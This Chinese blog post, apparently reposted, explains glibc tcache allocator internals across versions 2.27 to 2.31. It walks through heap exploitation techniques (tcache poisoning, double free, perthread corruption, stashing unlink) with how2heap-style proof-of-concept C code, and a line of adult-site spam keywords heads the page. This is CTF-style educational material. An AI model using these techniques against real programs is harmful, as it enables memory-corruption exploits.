日韩性视频-久久久蜜桃-www中文字幕-在线中文字幕av-亚洲欧美一区二区三区四区-撸久久-香蕉视频一区-久久无码精品丰满人妻-国产高潮av-激情福利社-日韩av网址大全-国产精品久久999-日本五十路在线-性欧美在线-久久99精品波多结衣一区-男女午夜免费视频-黑人极品ⅴideos精品欧美棵-人人妻人人澡人人爽精品欧美一区-日韩一区在线看-欧美a级在线免费观看

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 > 编程资源 > 编程问答 >内容正文

编程问答

tcache attacke

發布時間:2024/5/14 编程问答 49 豆豆
生活随笔 收集整理的這篇文章主要介紹了 tcache attacke 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01 什么是tcache

tcache全名thread local caching,它為每個線程創建一個緩存(cache),從而實現無鎖的分配算法,有不錯的性能提升。性能提升的代價就是安全檢測的減少。下面先以glibc2.27進行分析,最后再補充glibc2.29和glibc2.31的改進。

1.1數據結構

新增了兩個結構體tcache_entrytcache_perthread_struct來管理tcache。tcache_entry只包含一個變量next指向下一個tcache_entry結構。tcache_perthread_struct的counts表示對應tcache_bin的數量,tcache_entry*表示對應的tcache_bin鏈表。每個tcache_entry鏈表最多包含7個bin。

/* We overlay this structure on the user-data portion of a chunk whenthe chunk is stored in the per-thread cache. */ typedef struct tcache_entry {struct tcache_entry *next; } tcache_entry;/* There is one of these for each thread, which contains theper-thread cache (hence "tcache_perthread_struct"). Keepingoverall size low is mildly important. Note that COUNTS and ENTRIESare redundant (we could have just counted the linked list eachtime), this is for performance reasons. */ typedef struct tcache_perthread_struct {char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;

關于tcache的重要函數,tcache_put()tcache_get(),用于將tcache_bin放入對應的鏈表中和從對應鏈表中取出tcache_bin。只是對tc_idx進行了最簡單的是否小于TCACHE_MAX_BINS(默認是64)進行檢查

/* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) {tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]); }/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) {tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->entries[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);return (void *) e; }

tcache結構小結

  • tcache結構的核心是tcache_perthread_struct記錄了tcache的數量和tcache_entry鏈表。每次使用tcache之前會先在堆塊中分配該結構體的空間。
  • TCACHE_MAX_BINS的默認大小為64,有64條單鏈表。最小tcache為0x20,最大為0x410。malloc申請時最大可申請0x408大小的tcahce。
  • 每個tcache_entry鏈表最多包含7個chunk。
  • 如果malloc時存在對應的tcache,會優先返回tcache,用完只后才會使用fastbin
  • 如果free時tcache_entry存在空位會優先填滿tcache,再放入fastbin或者unsortedbin當中。
  • 1.2 tcache的使用

    通過搜索tcache_get和tcache_put函數的引用來分析,tcache什么時候會被使用。tcache_get有4處,第一個為定義,總共3個地方使用了。tcache_put有5處,第一個為定義,總共4個地方使用。

    tcache_get

    第1處 __libc_malloc
    在 __libc_malloc中對申請大小對應的tcache chunk進行判斷,如果存在對應空閑tcache chunk則直接進行分配,沒有則進入_int_malloc進行分配

    void * __libc_malloc (size_t bytes) {mstate ar_ptr;void *victim;void *(*hook) (size_t, const void *)= atomic_forced_read (__malloc_hook);if (__builtin_expect (hook != NULL, 0))return (*hook)(bytes, RETURN_ADDRESS (0)); #if USE_TCACHE/* int_free also calls request2size, be careful to not pad twice. */size_t tbytes;checked_request2size (bytes, tbytes);size_t tc_idx = csize2tidx (tbytes);MAYBE_INIT_TCACHE ();DIAG_PUSH_NEEDS_COMMENT;//判斷tc_idx是否在tcache范圍內//tcache是否存在//tc_idx對應的鏈表是否存在節點if (tc_idx < mp_.tcache_bins/*&& tc_idx < TCACHE_MAX_BINS*/ /* to appease gcc */&& tcache&& tcache->entries[tc_idx] != NULL){return tcache_get (tc_idx);}DIAG_POP_NEEDS_COMMENT; #endif

    第2,3處 _int_malloc
    在_int_malloc:3729處for循環處理unsorted bin鏈表時如果存在將目標大小的chunk放入tcache時會將return_cached置1,直接調用tcache_get并返回。

    #if USE_TCACHE/* If we've processed as many chunks as we're allowed whilefilling the cache, return one of the cached ones. */++tcache_unsorted_count;if (return_cached&& mp_.tcache_unsorted_limit > 0&& tcache_unsorted_count > mp_.tcache_unsorted_limit){return tcache_get (tc_idx);} #endif#define MAX_ITERS 10000if (++iters >= MAX_ITERS)break;}#if USE_TCACHE/* If all the small chunks we found ended up cached, return one now. */if (return_cached){return tcache_get (tc_idx);} #endif

    tcache_puts

    第一處_int_free
    如果釋放chunk對應的tcache存在空間,則直接將chunk放入tcache中。

    #if USE_TCACHE{size_t tc_idx = csize2tidx (size);if (tcache&& tc_idx < mp_.tcache_bins&& tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (p, tc_idx);return;}} #endif

    在_int_malloc中存在好多處tcache_put,將fastbin和smallbin中的bin放入tcache中
    第二處_int_malloc:3620:fastbin
    能執行到這,說明原來的對應tcache中并沒有可用bin。將第一個取到的chunk返回,并循環將fastbin中的bin放入tcache

    /* While bin not empty and tcache not full, copy chunks. */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = *fb) != NULL){if (SINGLE_THREAD_P)*fb = tc_victim->fd;else{REMOVE_FB (fb, pp, tc_victim);if (__glibc_unlikely (tc_victim == NULL))break;}tcache_put (tc_victim, tc_idx);}

    第三處_int_malloc:3677:smallbin
    類似第二次。將第一個取到的chunk返回,將剩下的smallbin放入tcache

    if (in_smallbin_range (nb)){idx = smallbin_index (nb);bin = bin_at (av, idx);if ((victim = last (bin)) != bin){bck = victim->bk;if (__glibc_unlikely (bck->fd != victim))malloc_printerr ("malloc(): smallbin double linked list corrupted");set_inuse_bit_at_offset (victim, nb);bin->bk = bck;bck->fd = bin;if (av != &main_arena)set_non_main_arena (victim);check_malloced_chunk (av, victim, nb); #if USE_TCACHE/* While we're here, if we see other chunks of the same size,stash them in the tcache. */size_t tc_idx = csize2tidx (nb);if (tcache && tc_idx < mp_.tcache_bins){mchunkptr tc_victim;/* While bin not empty and tcache not full, copy chunks over. */while (tcache->counts[tc_idx] < mp_.tcache_count&& (tc_victim = last (bin)) != bin){if (tc_victim != 0){bck = tc_victim->bk;set_inuse_bit_at_offset (tc_victim, nb);if (av != &main_arena)set_non_main_arena (tc_victim);bin->bk = bck;bck->fd = bin;tcache_put (tc_victim, tc_idx);}}} #endifvoid *p = chunk2mem (victim);alloc_perturb (p, bytes);return p;}}

    第四處_int_malloc:3794
    當tcache,fastbin,smallbin中都沒有需要的chunk,則會進入大的for循環處理unsortedbin。當取出的unsortedbin大小(size)和申請的大小(nb)相同時,會將chunk放入tcache中并設置return_cached置為1。

    if (size == nb)//申請大小和unsorted取的大小相同時{set_inuse_bit_at_offset (victim, size);if (av != &main_arena)set_non_main_arena (victim); #if USE_TCACHE/* Fill cache first, return to user only if cache fills.We may return one of these chunks later. *///如果是tcache先放入tcache中,再取出if (tcache_nb&& tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (victim, tc_idx);return_cached = 1;continue;}else{ #endifcheck_malloced_chunk (av, victim, nb);void *p = chunk2mem (victim);alloc_perturb (p, bytes);return p; #if USE_TCACHE} #endif}

    0x02 tcache各種漏洞利用方式

    2.1 tcache poisoning

    原理:通過覆蓋 tcache 中的 next,實現任意地址malloc。
    下面是how2heap中tcache_poisoning.c簡化版,通過修改chunk_b的next為棧地址stack_var,兩次分配后得到棧地址。

    #include <stdio.h> #include <stdlib.h> #include <stdint.h>int main() {// disable bufferingsetbuf(stdin, NULL);setbuf(stdout, NULL);size_t stack_var;intptr_t *a = malloc(128);intptr_t *b = malloc(128);free(a);free(b);b[0] = (intptr_t)&stack_var;//修改chunk_b的nextintptr_t *c = malloc(128);malloc(128);//malloc分配到棧中的地址return 0; }

    2.2 tcache dup

    類似 fastbin dup。但是在tcache_put時,沒有進行檢查。

    /* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) {tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]); }

    下面代碼是how2heap中的tcache_dup.c,連續兩次free chunk_a。之后連續申請可以申請到同一個chunk_a。

    #include <stdio.h> #include <stdlib.h>int main() {int *a = malloc(8);free(a);free(a);//double freevoid *b = malloc(8);void *c = malloc(8);printf("Next allocated buffers will be same: [ %p, %p ].\n", b, c);return 0; }

    2.3 tcache perthread corruption

    tcache_perthread_struct 管理 tcache 的結構,如果能控制這個結構體,就能隨意控制malloc到任意地址。且一般tcache_perthread_struct結構體也是使用malloc來創建,在heap的最前面。
    常見的利用思路:
    1.修改counts數組,將值設為超過8,當free一個chunk時將不會再進入tcache,方便泄露libc_base
    2.修改entry數組,可以達到任意地址malloc的目的

    2.4 tcache house of spirit

    在棧上偽造fake_chunk,free(fake_chunk)將會使fake_chunk進入tcache

    2.5 smallbin unlink

    當smallbin中還有其他bin時,會將剩下的bin放入tcache中,會進入上文第三處_int_malloc:3677:smallbin分支,會出現unlink操作,但是缺少了unlink檢查,可以使用unlink攻擊。

    2.6 tcache stashing unlink attack

    1.當tcache_bin中有空閑的堆塊
    2.small_bin中有對應的堆塊
    3.調用calloc(calloc函數會調用_int_malloc),不會從tcache_bin中取得bin,而是會進入上文第三處_int_malloc:3677:smallbin,將堆塊放入tcache中,由于缺少了檢查
    4.如果可以控制small_bin中的bk為一個writeable_addr,(其中bck就是writeable_addr)則可在writeable_addr+0x10寫入一個libc地址。

    下面是簡化版的how2heap
    1.構造漏洞環境,tcache_bin中5個bin,small_bin中兩個bin
    2.修改chunk2->bk=stack_var,設置fake_chunk->bk,stack_var[3] = &stack_var[2]
    3.calloc觸發進入目標分枝,unsorted_bin按照bk進行循環,則會先取到chunk0用于返回,進入while循環將small_bin中剩余的放入tcache中,取得chunk2,再取到stack_var放入tcache中,最后一次調用bck->fd = bin會在stack_var[4]中設置libc中的地址
    4.再次申請,分配到棧上的fake_chunk。

    #include <stdio.h> #include <stdlib.h>int main(){unsigned long stack_var[0x10] = {0};unsigned long *chunk_lis[0x10] = {0};unsigned long *target;//設置fake_chunk.bk,如果不設置則bck=0,bck->fd就會報錯stack_var[3] = (unsigned long)(&stack_var[2]);//now we malloc 9 chunksfor(int i = 0;i < 9;i++){chunk_lis[i] = (unsigned long*)malloc(0x90);}//put 7 tcachefor(int i = 3;i < 9;i++){free(chunk_lis[i]);}//last tcache binfree(chunk_lis[1]);//now they are put into unsorted binfree(chunk_lis[0]);//chunk0free(chunk_lis[2]);//chunk2//convert into small binmalloc(0xa0);//>0x90,將unsorted中bin放入tcache中malloc(0x90);malloc(0x90);//構造tcache_bin中5個bin//構造small_bin中2個bin small_bin.bk --> chunk0.bk --> chunk2.bk --> stack_var// small_bin.fd --> chunk2.fd --> chunk0/*VULNERABILITY*/chunk_lis[2][1] = (unsigned long)stack_var;/*VULNERABILITY*/calloc(1,0x90);//malloc and return our fake chunk on stacktarget = malloc(0x90); return 0; }

    0x03 glibc2.29的更新

    3.1 結構體改變

    1.tcache_entry新增key成員(tcache_perthread_struct結構體地址)用于防止double free

    typedef struct tcache_entry {struct tcache_entry *next;/* This field exists to detect double frees. */struct tcache_perthread_struct *key; } tcache_entry;typedef struct tcache_perthread_struct {char counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;

    3.2 tcache_get和tcache_put的改變

    新增的改變都是圍繞key進行
    1.在調用tcache_put函數時設置key成員為tcache。
    2.在調用tcache_get函數時設置key成員為null。

    static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) {tcache_entry *e = (tcache_entry *) chunk2mem (chunk);assert (tc_idx < TCACHE_MAX_BINS);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free. */e->key = tcache;e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]); } static __always_inline void * tcache_get (size_t tc_idx) {tcache_entry *e = tcache->entries[tc_idx];assert (tc_idx < TCACHE_MAX_BINS);assert (tcache->entries[tc_idx] > 0);tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e; }

    3.3 對tcache_put新增的檢測

    只有** _int_free**對tcache的free新增了key值檢測是否等于tcache,防止double free。以后double free需要修改key值才能進行

    #if USE_TCACHE{size_t tc_idx = csize2tidx (size);if (tcache != NULL && tc_idx < mp_.tcache_bins){/* Check to see if it's already in the tcache. */tcache_entry *e = (tcache_entry *) chunk2mem (p);/* This test succeeds on double free. However, we don't 100%trust it (it also matches random payload data at a 1 in2^<size_t> chance), so verify it's not an unlikelycoincidence before aborting. */if (__glibc_unlikely (e->key == tcache)){tcache_entry *tmp;LIBC_PROBE (memory_tcache_double_free, 2, e, tc_idx);for (tmp = tcache->entries[tc_idx];tmp;tmp = tmp->next)if (tmp == e)malloc_printerr ("free(): double free detected in tcache 2");/* If we get here, it was a coincidence. We've wasted afew cycles, but don't abort. */}if (tcache->counts[tc_idx] < mp_.tcache_count){tcache_put (p, tc_idx);return;}}} #endif

    0x04 glibc2.31的更新

    4.1 結構體改變

    tcache_perthread_struct結構體count數組由原來的char改成了uint16_t,結構體大小發生了改變由原來的0x240變成0x280。

    typedef struct tcache_perthread_struct {uint16_t counts[TCACHE_MAX_BINS];tcache_entry *entries[TCACHE_MAX_BINS]; } tcache_perthread_struct;

    4.2 tcache_get和tcache_put改變

    原本的assert檢查從tcache_get和tcache_put中移除,由調用者確保函數調用的安全。

    /* Caller must ensure that we know tc_idx is valid and there's roomfor more chunks. */ static __always_inline void tcache_put (mchunkptr chunk, size_t tc_idx) {tcache_entry *e = (tcache_entry *) chunk2mem (chunk);/* Mark this chunk as "in the tcache" so the test in _int_free willdetect a double free. */e->key = tcache;e->next = tcache->entries[tc_idx];tcache->entries[tc_idx] = e;++(tcache->counts[tc_idx]); }/* Caller must ensure that we know tc_idx is valid and there'savailable chunks to remove. */ static __always_inline void * tcache_get (size_t tc_idx) {tcache_entry *e = tcache->entries[tc_idx];tcache->entries[tc_idx] = e->next;--(tcache->counts[tc_idx]);e->key = NULL;return (void *) e; }

    0x05 總結

    總體來說利用方式比之前更簡單。
    參考鏈接
    ctfwiki

    總結

    以上是生活随笔為你收集整理的tcache attacke的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。